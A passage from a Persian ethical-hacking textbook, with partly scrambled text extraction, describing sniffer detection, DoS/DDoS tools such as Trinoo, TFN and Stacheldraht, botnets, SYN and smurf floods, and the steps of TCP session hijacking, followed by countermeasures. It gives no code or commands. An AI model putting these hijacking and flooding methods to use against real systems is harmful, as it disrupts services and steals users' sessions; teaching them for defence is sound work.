و  AESهاي رمزگذاري از قبيل  الگوريتم. كند تواند اطلاعات را ترجمه و تفسير استفاده باشند براي اينكه هكر نمي

RC4  ياRC5 هاي  توانند در تكنولوژي ميVPN  استفاده شوند و روشي رايج براي جلوگيري از استراق سمع در شبكه

ها  packet snifferدهد كه  همچنين، محدوديت در دسترسي فيزيكي به رسانه شبكه، اين اطمينان را مي .هستند

  .است SSHشدن شبكه، تغيير شبكه به  sniffروش ديگر براي جلوگيري از . توانند نصب شوند نمي

  :در شبكه وجود دارد snifferهاي متعددي براي شناسايي يك  روش

• Ping method 

• ARP method 

• Latency method 

 IDSاستفاده از  •
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  ابزارهاي هك
netINTERCEPTORتواند  اي براي فيلترينگ دارد و مي هاي پيشرفته گزينه. ، فايروال ويروس و اسپم است

هاي ايميل را  ها و تروجان تواند آخرين ويروس همچنين مي. هاي جديد را شناسايي كند و آنها را ياد بگيرد اسپم
  .ها جلوگيري كند snifferها يا  استراق سمع كند و از نصب تروجان

  
Sniffdetها براي شناسايي از راه دور  تستاي از  موعه، مجsniffer  ها در شبكهTCP/IP است. Sniffdet انواع ،

دارند،  snifferكنند يا يك  كار مي promiscuous modeهايي كه بصورت  ها را براي شناسايي ماشين مختلف تست
  .دهد انجام مي

  
براي پيشگيري يا شناسايي  Prodetectو  ARP Watch ،Promiscan ،Antisniffابزارهاي ديگري نيز چون 

sniffer روند ها بكار مي.  
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 مهفت فصل

 

Denial of Service  وSession Hijacking 
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  مقدمه

كند تا سرعت سيستم را به شدت كاهش دهد و كاربران نتوانند از منابع آن  ، هكر تلاش ميDoSدر حمله 

 در اينكار موفق را مورد هدف قرار دهند و معمولا هم شبكه كيتوانند تنها يك سيستم و يا  هكرها مي. استفاده كنند

  .دنوش يم

session hijacking )را گرفت، يك  ينشستهكر، زمانيكه  .هاي هك است ، يكي از روش)دزدي نشستDoS 

 sessionپس از آنكه كاربري نشست قانوني را ايجاد كرد، هكر با استفاده از . كند موقتي را براي كاربر نهايي ايجاد مي

hijacking و تمام ترافيك را  بين سرور و كلاينت قرار گرفت همچنين زمانيكه هكر. گيرد ميبه دست را ، نشست

  .كند استفادهتواند  نيز مي man-in-the-middleحمله  انجام براي session hijackingاز  استراق سمع كرد،

  

، پيشگويي TCPاي  دست تكاني سه مرحله ،DoS ،DDoS ،session hijackingحملات ر مورد اين فصل د

sequence number هاي مقابله با  همچنين در پايان فصل در مورد روش. دهد توضيح مي تو ابزارهاي اين حملا

DoS  وsession hijacking توضيح خواهيم داد.  
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Denial of Service  

 هب امش .وجود دارد DoSدو نوع حمله . براي از كار انداختن سيستم كاربر يا سازمان است تلاش، DoSحمله 

 robotهاي  و شبكه) robot )BOTsنيز  ، وDoSيك هكر قانونمند، بايد با انواع و نحوه انجام حملات  ناونع

)BOTNETs(، حملات smurf  وSYN flooding هاي مقابله با  با روشهمچنين  وDoS  وDDoS آشنا باشيد.  

  

  DoSانواع حملات 

يا ) ساده DoS(تواند توسط يك سيستم به يك سيستم ديگر  مي DoSحملات  :وجود دارد DoS هحمل عوندو 

  ).DDoS(شود  ماجنتوسط چندين سيستم به يك سيستم ا

پيدا كنيم بلكه هدف اين است كه هاي هدف دسترسي  اين حمله اين نيست كه به سيستم يا داده از هدف

  :كارهاي زير را انجام دهد DoSممكن است حمله . بگيريماجازه سرويس دهي كاربران قانوني را 

 .ترافيك عظيمي را به سوي شبكه روانه كند تا جلوي ترافيك مجاز شبكه را بگيرد •

 .قطع كند بنابراين، جلوي دسترسي به سرويس را بگيرد ارتباط بين دو ماشين را •

 .گيردب اربه سرويس جلوي دسترسي افراد  •

  .شخص خاصي را از سرويس بگيرداجازه دسترسي سيستم يا  •

كنند اما نتيجه يكسان  هاي مختلفي را به سمت قرباني سرازير مي ابزارهاي مختلفي وجود دارند كه ترافيك

شود براي اينكه كل منابع سيستم صرف پاسخ به  مي سرويس بر روي سيستم يا شبكه غير قابل دسترس: است

  .شود هاي بيهوده و ساختگي هكر مي درخواست

تواند به اطلاعات دسترسي پيدا كند و فقط در  اي است براي اينكه هكر نمي حرفهحمله غير، DoSحمله 

از طريق چندين سيستم به سمت مقصد ارسال شود،  DoSاگر حمله . وردآ دهي آن، اختلال بوجود مي سرويس

  ).DDoSحملات (شود و تاثيرات مهمي را دارد  تر مي مخرب

  ابزارهاي هك
Jolt2حمله ، ابزاري براي DoS هاي  است كه تعداد زيادي بستهIP ببس رمااين . فرستد به يك هدف ويندوزي مي 

  .از كار بيفتد شود كه منابع سيستم، غير قابل دسترس شوند و نهايتا سيستم يم
  

Bubonicي براي حمله، ابزار DoS هاي  است كه با ارسال بستهTCP  كه داراي تنظيمات تصادفي هستند، كار
  .از كار بيفتدكند تا بار ماشين هدف افزايش يابد و نهايتا سيستم  مي
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Ping of Death ،هاي  اي است كه بسته حملهIP ه دليلكند، و ب كه بسيار بزرگ هستند را به سيستم هدف ارسال مي 

، Ping of Death. افتد از كار ميتواند آنها را دريافت كند و در نتيجه  ها، سيستم هدف نمي زياد و بزرگ بودن بسته
  .حمله بوده است را بگيردها به سرور كه قرباني  تواند جلوي دسترسي كلاينت مي
  

SSPingاي است كه چندين بسته بزرگ  ، برنامهICMP شود كه  مي و سبب كند به سمت سيستم هدف ارسال مي ار
  .از كار بيفتدكند،  آوري مي ها را جمع كند، زمانيكه دوباره بسته هاي داده را دريافت مي كامپيوتري كه بسته

  
A LAND Attackكند كه  اي به سمت يك سيستم ارسال مي ، بستهIP  منبع با آدرسIP سيستم مقصد يكي است .

شود بنابراين، منابع سيستم، غير قابل دسترس  ايجاد مي loopخواهد كه به آن پاسخ دهد و  در نتيجه، سيستم مي
  .از كار بيفتدشوند و ممكن است سرانجام سيستم  مي
  

CPU Hog،  ابزاري براي حملهDoS  است كه از منابعCPU كند و آن را براي  روي سيستم هدف استفاده مي
  .سازد ديگر، غير قابل دسترس مي ناكاربر

  
WinNukeگردد و ترافيك  باز مي 139اي است كه به دنبال سيستمي با پورت  ، برنامهIP  ناخواسته به سيستم هدف

مشهور است و سبب سرريزي بافر ) Out of Bounds )OOBبا نام حمله اين حمله، . فرستد روي آن پورت مي
)buffer overflow (افتد از كار ميشود و سرانجام سيستم  مي.  
  

Targaتواند براي اجراي حملات مختلف  اي است كه مي ، برنامهDoS يك نوع حمله را تواند  هكر مي. استفاده شود
  .آميز باشد انتخاب كند و سپس آن را اجرا كند و يا اينكه همه نوع حملات را انجام دهد تا يكي از آنها موفقيت

  
RPC Locatorو مستعد حملات . دهد روي شبكه را مي بر هاي توزيع شده، اجازه اجرا ، سرويسي است كه به برنامه

DoS ها كه حملات  هستند و بسياري از برنامهDoS كنند دهند، از اين آسيب پذيري استفاده مي را انجام مي.   
  

د و نانداز ها را به خطر مي ها انجام شوند كه سيستم BOTNETها و  BOTند توسط نتوا مي DDoSملات ح

افتد، قرباني ثانويه است در  اي كه به خطر مي سيستم يا شبكه. تواند براي حمله به كاربر نهايي استفاده كند هكر مي

  .دهد ، قرباني اولي را مورد هدف قرار ميDDoSو  DoSحاليكه حملات 

  

  DDoSنحوه كار حملات 

كند تا با ارسال  نيز تلاش مي DDoS، حمله DoSهمانند . است DoS، نسخه پيشرفته حمله DDoSحمله 

، اين است كه بجاي DDoSنكته كليدي حمله . ها به سمت سيستم مقصد، دسترسي به سرويسي را مختل كند بسته

  .شود حمله از يك سيستم، از چندين سيستم براي انجام حمله استفاده مي
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  ابزارهاي هك
Trinoo است كه ترافيك ، ابزاريUDP كند تا حمله  ارسال ميDDoS را ايجاد كند .Trinoo master سيستمي ،

 agentهاي  ، پردازشMaster .شود بر عليه يك يا چند سيستم هدف استفاده مي DoSاست كه براي اجراي حمله 
)daemons به يك يا چند آدرس  تا) قرباني ثانوي(سازد  هاي به خطر افتاده قبلي مي روي سيستم) شود ناميده مي

IPافتد اين حمله، براي مدت زمان مشخصي اتفاق مي. ، حمله كند .Trinoo agent  ياdaemon روي سيستمي كه ،
 اه تيلباقاست و تمام  Trinoo، نسخه ويندوزي WinTrinoo. شود د، نصب ميداررا  buffer overflowآسيب پذيري 

  .دارد Trinooرا مثل 
  

Shaft مشتقي از ابزار ،Trinoo  است كه از ارتباطاتUDP  بينmaster  ها وagent افزار،  اين نرم. كند ها استفاده مي
شود،  تواند براي دانستن اينكه چه زماني سيستم قرباني خاموش مي دهد كه هكر مي مي floodاطلاعاتي درباره حمله 

  .است TCP floodingو  UDP ،ICMPهاي حمله  ، داراي گزينهShaft. استفاده كند
  

Stacheldraht مشابه ،TFN هايي براي حملات  است و شامل گزينهICMP flood ،UDP flood  وTCP SYN 
 agentهاي  بين هكر و سيستم) با استفاده از رمزگذاري كليد متقارن(امن  telnetهمچنين داراي ارتباط . است

  .ها نتوانند اين ترافيك را شناسايي كنند سيستم شود كه مديران اين سبب مي. است) هاي ثانويه قرباني(
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Tribal Flood Network (TFN)دهدكه بتواند از حملات  ، به هكر اين امكان را ميbandwidth-depletion ) تهي

 UDPافزار، داراي حملات  اين نرم. استفاده كند) تهي سازي منابع( resource-depletionو ) سازي پهناي باند

flooding ،ICMP flooding ،TCP SYN  وsmurf است .TFN2K ي بر مبناTFN  است با اين تفاوت كه داراي
كند،  بصورت راه دور دستورات را اجرا مي .به سختي شناسايي و فيلتر شود TFN2Kهايي است كه ترافيك  قابليت

، UDPمثل ) transport(كند و از چندين پروتكل لايه انتقال  مخفي مي IP spoofingمنبع حمله را با استفاده از 
TCP  وICMP كند استفاده مي . 

 

Mstreamهاي  ، از بستهTCP  جعلي باACK flag كند و شامل يك  براي حمله به هدف استفاده ميhandler  و يك
   .نياز به پسورد است handlerاست كه براي دسترسي به بخش  agentبخش 

  

هايي كه از آنها براي انجام حمله استفاده  ، و سيستميلصا ناشوند را قرباني در حمله مختل مي هايي كه سرويس

 كهها از طريق حمله ديگري  معمولا اين سيستم .نامند مي ها BOTيا  ها zombieيا  ثانويشوند را قربانيان  مي

در اين  . شود و سپس از آنها براي انجام حمله بر عليه قرباني اصلي در زمان يا در شرايط مشخص استفاده مي دنا هدش

  .شكل گرفته است IPاست براي اينكه حمله از طريق چندين آدرس دشوار حالت، رديابي حمله 

  

  :شامل سه بخش است DDoSمله طبيعي، حدر حالت 

• Master/ Handler 

• Slave/ secondary victim/ zombie/ agent/ BOT/ BOTNET 

• Victim/ primary victim 

، Vitim. به خطر افتاده است master، دستگاهي است كه توسط slave. ، شروع كننده حمله استmasterكه 

  .دنكند تا بر روي سيستم قرباني، حمله انجام ده را هدايت مي slaveهاي  ، دستگاهmaster. سيستم هدف است
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هاي  هاي ضعيف در شبكه ، سيستمintrusionهكر در مرحله . دريگ ، در دو مرحله انجام ميDDoSحمله 

، attackدر مرحله . كند نصب مي slaveهاي  را روي سيستم DDoSگيرد و ابزارهاي  به دست مي مختلف را

  .كنند براي انجام حمله به قرباني اصلي اقدام مي ،slaveهاي  سيستم

  

  :DDoSدسته بندي حملات 
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  هاBOTNETها و  BOTنحوه كار 

BOT، روبات وب  خلاصه)web robot(، معمولا. كند افزاري خودكار است كه بصورت هوشمندانه عمل مي نرم 

هاي خبري يا ارسال  هاي اسپم براي گروه سازي ارسال بستهخودكارها براي  BOTاز ) ها spammer(افزارهاي اسپم   نرم

اغلب، . شوند استفاده ،توانند به عنوان ابزارهاي حمله از راه دور ها مي BOTهمچنين . كنند ايميل استفاده مي

BOT  ،هاagent براي مثال، . هاي وبي هستند كه با صفحات وب تعامل دارندweb crawler  ها)spider هاي  روبات ،)ها

  .كنند آوري مي وبي هستند كه اطلاعات صفحات وب را جمع

كنند تا  يانه بر روي كامپيوتر كاربران نصب ميفبصورت مخخود را ها آنهايي هستند كه  BOTترين  خطرناك

 ديگربا كاربران هاي ديگر وب،  يا اينترفيس IRCبا استفاده از ها،  BOTبرخي از  .اهداف شوم خود را انجام دهند

گزارش آب و  وتوانند بسياري از وظايف را انجام دهند  ها اغلب مي BOTاين . ارتباط دارند هاي مبتني بر وب، سرويس

  .دنراد ار... ها از قبيل ارز، و  ها، تبديل واحدها و اندازه ورزش نتايجاطلاعات كد پستي، هوا، 

BOTNETهاي  ، گروهي از سيستمBOT است .BOTNET  ها چندين هدف دارند از قبيل حملاتDDoS ،

هاي  ها، نام هاي برنامه براي اسپم، كلاهبرداري بازاريابي اينترنتي، سرقت شماره سريال SMTPايجاد يا سواستفاده از 

 كههاي  ، به گروهي از سيستمBOTNETبطور كلي، . هاي كارت اعتباري كاربري، و اطلاعات مالي از قبيل شماره

  .ندنك اجرا مي را BOTهماهنگ شده،  DDoSكه به منظور اجراي حمله  شود اطلاق مي هدش
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  چيست؟ smurfحمله 

با آدرس منبع جعلي شده قرباني را  IPهاي  د تا آدرسنك يم لاسرا ICMP، تعداد زيادي ترافيك smurfحمله 

broadcast هاي  بر روي شبكه، به درخواستثانوي موجود ماشين قرباني هر . كندICMP و با پاسخ به  دهد پاسخ مي

با دسترسي چندگانه، ممكن است صدها ماشين به  broadcastهاي  در شبكه. كنند ها، ترافيك را تكثير مي ماشين

. ندنك floodبسازد و قرباني اولي را  pingهاي  از پاسخ DoSحمله يك شود كه  باعث ميكار اين. ها پاسخ دهند بسته

  .روي اينترنت هستند smurf، قرباني اوليه از حملات IRCسرورهاي 

  

SYN flooding چيست؟  

را سريعتر از زمانيكه يك ماشين بتواند آنها را پردازش كند،  TCPهاي ارتباط  ، درخواستSYN floodحمله 

درخواست ارتباط ايجاد را براي   SYNبيت كند و هكر، براي هر بسته، آدرس منبع تصادفي توليد مي. كند ارسال مي
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دهد و سپس  پاسخ مي) spoofed(جعلي  IPبه آدرس قرباني، . كند ست مي ،جعلي IPآدرس  طرف جديد به سرور از

هاي  در نتيجه، جدول ارتباط قرباني با حالت. كند ماند ولي هيچ وقت پاسخي دريافت نمي منتظر مي TCPبراي تائيد 

توانند  و نمي شوند شوند كاربران مشروع، ناديده گرفته مي شود و ارتباطات جديد ناديده گرفته مي پر مي "انتظار پاسخ"

، SYN cookies: ، عبارتند ازSYN floodملات هاي جلوگيري از ح برخي از روش. به سرور دسترسي داشته باشند

RST cookies ،Micro Blocks  وStack Tweaking.  

  

  DDoSو  DoSمقابله با 

در زير ليست برخي از . وجود دارد DoSچندين روش براي شناسايي، از بين بردن يا جلوگيري از حملات 

  :هاي امنيتي قابل دسترس آورده شده است ترين قابليت رايج

جلوگيري از تزريق دهند بايد براي  تمام كسانيكه امكان دسترسي به شبكه را مي :network-ingressفيلترينگ 

از بروز  كارهر چند كه اين. استفاده كنند network-ingress، از فيلترينگ به اينترنت هاي جعلي هاي با آدرس بسته

  .كند تر مي را خيلي سريع ساختن آن، اما ردگيري منبع حمله و متوقف كنند مينپيشگيري حمله 

هايي كه به شما اجازه محدود ساختن  از روترهاي موجود در بازار، قابليت يرايسب :rate-limitingترافيك شبكه 

  .شود نيز شناخته مي traffic shapingاين قابليت با نام . وجود دارنددهند،  ها را مي مقدار پهناي باند بعضي از ترافيك

ارتباط برقرار  agentيا  master ،slaveهاي  ماشين ابراي شناسايي هكرهايي كه ب :هاي تشخيص نفوذ سيستم

دهد كه بدانيد آيا ماشيني بر  استفاده از آن، اين امكان را مي .هاي تشخيص نفوذ استفاده كنيد كنند، از سيستم مي

اما ممكن است حملات يا ابزارهاي جديدي را . يا نه شود اي استفاده مي روي شبكه، براي انجام حمله شناخته شده

، از Stacheldrahtيا  Trinoo ،TFNاي  ، براي شناسايي ترافيك شبكهIDSبسياري از سازندگان  .شناسايي نكند

signature كنند استفاده مي.  

كنند تا ابزارهاي كلاينتي و سروري  كه تلاش مي وجود دارنداسكن فايل  ي برايابزارهاي :Host-auditingابزارهاي 

DDoS را در يك سيستم شناسايي كنند.  

كه در  DDoSهاي  agentكنند  اي هستند كه تلاش مي ابزارهاي اسكن شبكه :Network-auditingابزارهاي 

  .ها يا در شبكه شما وجود دارند را شناسايي كنند ماشين

گيري است كه به  هاي جعلي، كار زمان ها در شبكه با آدرس ردگيري جريان بسته :خودكار رديابي شبكهابزارهاي 

  .صورت گيردهمكاري بين تمام شبكه نياز دارد تا ترافيك را انتقال دهد و بايد در زمانيكه حمله در حال انجام است، 
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  ابزارهاي هك
Find_ddos براي حمله هاي شناخته شده تواند بسياري از برنامه ميكه  تساسيستم محلي  نكسا يارب، ابزاري DoS 

  .را شناسايي كند
  

SARAبزار اين ا .كند آوري مي هاي راه دور جمع ها و شبكه اي، اطلاعاتي درباره ماشين هاي شبكه ، با آزمايش سرويس
ها،  هاي امنيتي بالقوه از قبيل پيكربندي نادرست سرويس اي و آسيب هاي شبكه شامل اطلاعاتي درباره سرويس

  .دهد اي ارائه مي افزارهاي سيستمي يا شبكه مشكلات شناخته شده نرم
  

RIDهاي  است كه وجود كلاينتي رايگان براي اسكن ، ابزارTrinoo ،TFN يا ،Stacheldraht كند را شناسايي مي.  
  

Zombie Zapper ،هاي  ها و روتين روالzombie  را به حالت خواب)sleep (برد بنابراين، حمله آنها را متوقف  مي
  .توانيد از همان دستورات هكر براي متوقف كردن حمله استفاده كنيد شما مي. كند مي
  

Session Hijacking  

Session hijacking ، ،با سرور،  اوكنترل نشست كاربر را پس از احراز هويت موفقيت آميز زماني است كه هكر

هاي جاري ارتباطات كلاينت و سرور را شناسايي  نشست IDاي است كه  ، حملهSession hijacking. گيرد بدست مي

را انجام  sequence number، با ابزارهايي كه پيشگويي Session hijacking. دزد ميكند و نشست كاربر را  مي

  .كند دهند، كار مي مي

www.ketabha.org



 

133 

 

  

Spoofing  وHijacking  

كند و به  استراق سمع مي ، هكرspoofingدر حمله . دنتفاوت دار hijackingبا حملات ، spoofingحملات 

يا  spoofآوري شده براي  كند سپس از اين اطلاعات جمع شود گوش مي ترافيكي كه از طريق شبكه عبور داده مي

  . )شكل زير( كند براي استفاده از آدرس يك سيستم مشروع استفاده مي

  

كند تا ارتباط  هكر، به كاربر مشروع استناد مي. ، براي آفلاين كردن كاربر براي انجام حمله استhijackingاما 

 شود ، قطع ميمشروعگيرد و نشست كاربر  ست را به دست ميشن را تشكيل دهد و احراز هويت كند پس از آن، هكر

  .)شكل زير(
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  :درادسه مرحله ، Session hijacking براي دائمي كردن يك حمله،

  .كند بسته بعدي را پيش بيني مي sequence numberكند و  هكر، نشست باز را شناسايي مي :ردگيري نشست

فرستد تا نشست آنها بسته  را به سيستم كاربر مشروع مي FINيا  RSTهكر، يك بسته  :غير همزمان كردن ارتباط

  .شود

كند و سرور، آن  گويي شده، به سرور ارسال ميپيش sequence numberبا  TCPهكر، يك بسته  :تزريق بسته هكر

  .پذيرد ميرا به عنوان بسته بعدي كاربر مشروع 

  

  session hijackingانواع 

سطح اولين تفاوت بين آنها . اكتيو و پسيو: استفاده كنند Session hijackingتوانند از دو نوع  هكرها مي

هكر به دنبال نشست فعال است و با استفاده از ابزارهايي كه در حمله اكتيو، . درگيري هكر در نشست است

sequence number هاي  را در نشستTCPگيرد مي بدست كنند، نشست را ، پيشگويي مي.  

  

. گيرد ميبدست ، نشست را كند را ثبت مي كاربر مشروع طسوت يلاسرا و، هكر، زمانيكه ترافيكدر حمله پسي

اوري اطلاعاتي از قبيل پسوردها و سپس استفاده از آن اطلاعات براي  براي جمع. حالت پسيو، مثل استراق سمع است

  .شود استفاده مينشست جداگانه ايجاد يك احراز هويت به عنوان يك 
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  اي دست تكاني سه مرحله: TCPمفاهيم 
و  ACKهاي  از بسته TCPبراي اين منظور، . ها است و تحويل بسته، قابليت اعتماد TCPهاي  يكي از قابليت

sequence number ها، اصول  دستكاري اين شماره. كند ها استفاده ميTCP session hijacking براي درك . است
  :داشته باشيم TCPاي  اين موضوع، اجازه دهيد نگاهي به دست تكاني سه مرحله

 sequence numberو  SYNاينكار با ارسال بسته با بيت . كند با سرور شروع ميرا وع، ارتباطي ركاربر مش .1
 .گيرد از طرف كاربر مشروع به سمت سرور انجام مي) ISN(آغازين 

كه  ACKبه علاوه بيت  ISBNو  SYNاي را با بيت  بسته در پاسخ، كند و دريافت مي سرور، اين بسته را .2
 .كند آن يك واحد افزايش يافته است، ارسال مي sequence numberمقدار 

 .دهد ، ميsequence numberو افزايش  ACK، بازخوردي به سرور با برگشت بسته با بيت كاربر مشروع .3

  
  .، بسته شودRSTيا  FINهاي  flag، يا دريافت بسته با timeoutتواند از هر دو طرف به علت  اين ارتباط مي

  
بندد و هر بسته ورودي براي نشست،  ، دريافت شد، سيستم دريافت كننده، ارتباط را ميRSTاي با بيت  زمانيكه بسته

رود و  ارتباط مي قطع كردنكننده، به فرآيند  دريافت در بسته وجود داشته باشد، سيستم FINاگر بيت . شود رد مي
يا  FIN هاي ارسال يك بسته با بيت. شود شود، هنوز پردازش مي اي كه در زمان بستن فرآيند دريافت مي هر بسته

RSTترين روش براي هكرها براي بستن نشست كلاينت با سرور و گرفتن نشست به عنوان كاربر است ، رايج.  
  

  sequence گوييپيش

TCPبنابراين، هر بسته بايد . ها طبق ترتيب اصلي آنهاست آوري دوباره بسته مسئول جمع وگرا  ، پروتكلي اتصال

بايد يك  هر بسته،. شود شناخته مي) sequence number )SNيك عدد منحصربفرد داشته باشد اين عدد با نام 

ها بصورت غير  اگر بسته. ، امكان پذير باشدها ه بستهرآوري دوبا جمعد تا شماره منحصربفرد براي نشست داشته باش

همانطوريكه قبلا توضيح داده شد، . شود ها استفاده مي براي اصلاح بسته sequence number از منظم دريافت شوند،

 synchronizingاين بسته با نام . كند ارسال مي SYNاي را با بيت  كند، بسته را آغاز مي TCPسيستمي كه نشست 

عددي است كه به صورت تصادفي  ISN. است) ISN(آغازين كلاينت  sequence numberشود و داراي  شناخته مي

  .احتمال تكرار وجود دارد هنوز ميليارد تركيب مختلف دارد ولي 4شود و  توليد مي

اي كه دريافت كرده است استفاده  بسته sequence numberاز ارسال شد، هر ماشين  ACKبسته زمانيكه 

بسته  sequence numberكند بلكه  ها را تائيد مي اين نه تنها دريافت بسته. كند كند و عددي را به آن اضافه مي مي

در ارتباطات طبيعي . است 1اي، مقدار افزايشي،  با دست تكاني سه مرحله. دهد بعدي را هم به ارسال كننده آن مي

هاي  بايت داده ارسال كنيد، پاسخ 45براي مثال اگر شما (ها به بايت است  دار افزايش، برابر اندازه دادهها، مق داده

ACK  با استفاده ازsequence number خواهد بود 45هاي دريافتي به علاوه  بسته(.  
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شوند را  ياستفاده م TCPاي  ها و بازخوردهايي كه در دست تكاني سه مرحله sequence numberشكل زير، 

  :دهد توضيح مي

  

  

براي  .كنند را پيشگويي مي sequence numberشوند،  استفاده مي session hijackingابزارهاي هك كه براي 

هكر سپس،  .كند sniff، هكر بايد ترافيك بين دو سيستم را TCP sequence predictionآميز حمله  انجام موفقيت

ها به سرعت جابجا  بسيار دشوار است براي اينكه بسته كاراين. را حدس بزند sequence numberيا ابزار هك بايد 

  .شوند مي
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براي اينكه . گردد ، بسيار دشوار ميsequence numberكند، حدس  sniffتواند ارتباط را  زمانيكه هكر نمي

د نساز ها را امكان پذير مي مع بستههايي هستند كه استراق س ، داراي قابليتsession hijackingبسياري از ابزارهاي 

  .ها را مشخص كنند sequence numberتا 

هايي  سيستم، كه نشستي با سيستم هدف دارد، بسته) spoofed(جعلي  IPهاي  هكرها، با استفاده از آدرس

اما . كند سيستم هدف انتظار دارد، صادر مي هايي كه sequence numberهايي با  ، بستهابزارهاي هك. دنكن توليد مي

) سرازير كردن(كردن  floodاينكار با . دنهاي هكر فرستاده شو بسته هاي سيستم مورد اعتماد، قبل از ارسال بسته بايد

  .شود به سيستم مورد اعتماد انجام مي RSTها يا ارسال بسته  بسته

  

  شوند؟ انجام مي session hijackingچه مراحلي در 

  :حمله استانجام ، شامل سه مرحله براي session hijackingبطور خلاصه، 

  .كند بسته بعدي را پيشگويي مي sequence numberكند و  هكر، يك نشست باز را شناسايي مي :ردگيري نشست

فرستد تا نشست آنها را  به كاربر مشروع مي FINيا  RSTبا بيت  TCPيك بسته هكر  :غير همزمان كردن ارتباط 

  .براي قطع ارتباط كاربر از سرور استفاده كند DoSتواند از ابزار  به عنوان جايگزين، هكر مي. ببندد

كند و سرور  پيشگويي شده، به سرور ارسال مي sequence numberرا با  TCPهكر، يك بسته  :تزريق بسته هكر

  .پذيرد كاربر مشروع ميآن را به عنوان بسته بعدي 
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  :session hijackingسطوح 

• Network Level Hijacking 

• Application Level Hijacking  

  

TCP/IP Hijacking  

TCP/IP hijackingهاي جعلي براي به دست گرفتن يك نشست بين  ، يك تكنيك هك است كه از بسته

تواند با ماشين هاست ارتباط  شود و سپس هكر مي معلق ميارتباط قرباني، . كند قرباني و ماشين هدف استفاده مي

هاي هدف و قرباني هر جايي  ماشين. براي انجام اين حمله، بايستي هكر مثل قرباني در همان شبكه باشد. برقرار كند

  .توانند باشند مي
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RST Hijacking  

RST hijacking،  تزريق يك بستهRST )reset (كند و  را جعل مي آدرس منبع. استACK number  را

را ارسال كرده است و بنابراين ارتباط را ريست خواهد  resetكند كه منبع، بسته  قرباني خيال مي. كند پيشگويي مي

  .كرد

  

Blind Hijacking  

هاي مخرب يا دستورات را به داخل ارتباطات تزريق كند حتي اگر  ، دادهTCPتواند در نشست  هكر مي

تواند  ها يا دستورات را ارسال كند اما نمي تواند داده هكر مي. فعال شده باشد، غير)source routing(مسيريابي مبدا 

  .ها را ببيند پاسخ

  

  ابزارهاي هك
Juggernaut يك ،sniffer هاي  شبكه است كه براي دزدي نشستTCP )hijack TCP session (شود استفاده مي. 

 تواند كلمه ترافيك شبكه استفاده شود يا مي ديدنتواند براي  شود و مي بر روي سيستم عامل لينوكس اجرا مي
دهد و هكر  اين برنامه، تمام ارتباطات فعال شبكه را نشان مي. را بگيرد و آن را جستجو كند "پسورد"مثل  كليدي

  .انتخاب كند hijackingرا براي  ها تواند يكي از نشست مي
  

Huntشود ها بر روي شبكه استفاده مي اي است كه براي استراق سمع و دزدي نشست ، برنامه .Huntتواند  ، مي
ها، و  MAC address، ريست كردن ارتباطات، مانيتور كردن ارتباطات، كشف ARP spoofingمديريت ارتباطات، 

  .را انجام دهد TCPاستراق سمع ترافيك 
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TTYWatcher ابزاري براي ،session hijacking دهد تا نشست دزديده شده را دوباره به  است كه به هكر اجازه مي

  .است Sun Solarisهاي  اين برنامه تنها براي سيستم. كاربر مشروع برگرداند به طوريكه گويا اصلا دزديده نشده بود
  

IP Watcher ، ابزاري تجاري براي دزدي نشست)Session hijacking (دهد تا ارتباطات را  ر اجازه مياست كه به هك
دهد تا  تواند تمام ارتباطات روي شبكه را مانيتور كند، به هكر اجازه مي اين برنامه، مي. مانيتور كند و آنها را بگيرد

  .كپي نشست را بصورت همزمان مشاهده كند
  

T-Sight ، با اين ابزار، . شود هاي ويندوزي استفاده مي ابزار مانيتورينگ و گرفتن نشست است كه در محيطيك
دهد  هر فعاليت مشكوكي كه رخ ميو  توانند تمام ارتباطات شبكه را بصورت بلادرنگ مانيتور كنند ها مي مديران شبكه

  .تواند هر نشستي را روي شبكه، بدزند ، ميT-Sight. را مشاهده كند
  

Remote TCP Session Reset Utilityهاي كنوني  ، نشستTCP هاي  و اطلاعات ارتباطات از قبيل آدرسIP  و
                                              .شوند استفاده مي TCPهاي  اين ابزار بيشتر به منظور ريست كردن نشست. ها را نمايش دهد شماره پورت

  

  session hijackingخطرات 

TCP session hijackingها براي اين حمله آسيب پذيرند براي  بسياري از سيستم. ، حمله خطرناكي است

كنند تا آنها را  هاي جديد، تلاش مي سيستم عامل .كنند استفاده مي TCP/IPاينكه آنها براي ارتباطاتشان، از پروتكل 

هاي اعداد تصادفي براي محاسبه  امن سازند آنها اينكار را با استفاده از توليد كننده Session hijackingاز دست 

ISN دهند و حدس زدن  انجام ميsequence number را  ها حال، اگر هكر بتواند بسته با اين. سازند را دشوار مي

sniff كند، اين معيار امنيتي نيز موثر نخواهد بود.  

  :آگاه باشد session hijackingلايل زير از مند بايد بنا به دنهكر قانو

 .اغلب كامپيوترها، آسيب پذيرند •

 .هاي كمي براي محافظت از آن وجود دارد روش •

 .ساده است session hijackingانجام حملات  •

 .آوري شوند، اين حمله خطرناكي است تواند در طول اين حمله جمع به خاطر اطلاعاتي كه مي •
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  session hijackingچگونگي پيشگيري از 

موثرترين روش . بايد چندين پدافند در شبكه استفاده شود، session hijackingبراي جلوگيري از حملات 

همچنين با اين روش، جلوي بسياري از حملاتي كه بر پايه استراق سمع . IPSecمحافظتي، رمزگذاري است از قبيل 

توانند  بتوانند بصورت پسيو، ارتباط شما را مانيتور كنند اما نميممكن است هكرها، . شود نيز گرفته مي دنتسه

هاي  اپليكشناستفاده از  ،هاي ديگر روش. هاي رمز شده را تفسير و ترجمه كنند داده

  .است SSLو  SSHرمزگذاري شده از قبيل 

 session hijackingهاي دسترسي به شبكه، از  توانيد با كاهش روش شما مي

هاي   به سيستم) remote(راي مثال، با حذف دسترسي راه دور پيشگيري كنيد ب

اگر شبكه داراي كاربراني است كه بايد بصورت ريموت به شبكه وصل شوند . داخلي

  .استفاده كنيد VPNتا بنوانند وظايفشان را انجام دهند، از 

. استفاده از چندين روش امن سازي، بهترين راه مقابله با هر تهديدي است

ها ممكن است كافي نباشد اما با استفاده از همگي  استفاده از تنها يكي از اين روش

هايي كه  در زير روش. دهد آنها براي امن سازي، احتمال موفقيت هكر را كاهش مي

  :استفاده شود، آورده شده است Session hijackingبايد براي جلوگيري از 

 استفاده از رمزگذاري •

 استفاده از پروتكل امن •

 محدود كردن تعداد ارتباطات ورودي •

 به حداقل رساندن دسترسي راه دور •

 داشتن احراز هويت قدرتمند •

 آموزش كاركنان •

  .هاي مختلف نگهداري از چندين نام كاربري و پسورد براي اكانت •
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 مهشت فصل

 

برنامه هاي تحت هك وب سرورها، آسيب پذيري 

  هاي مبتني بر وب، و تكنيك هاي شكستن پسوردوب
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  مقدمه

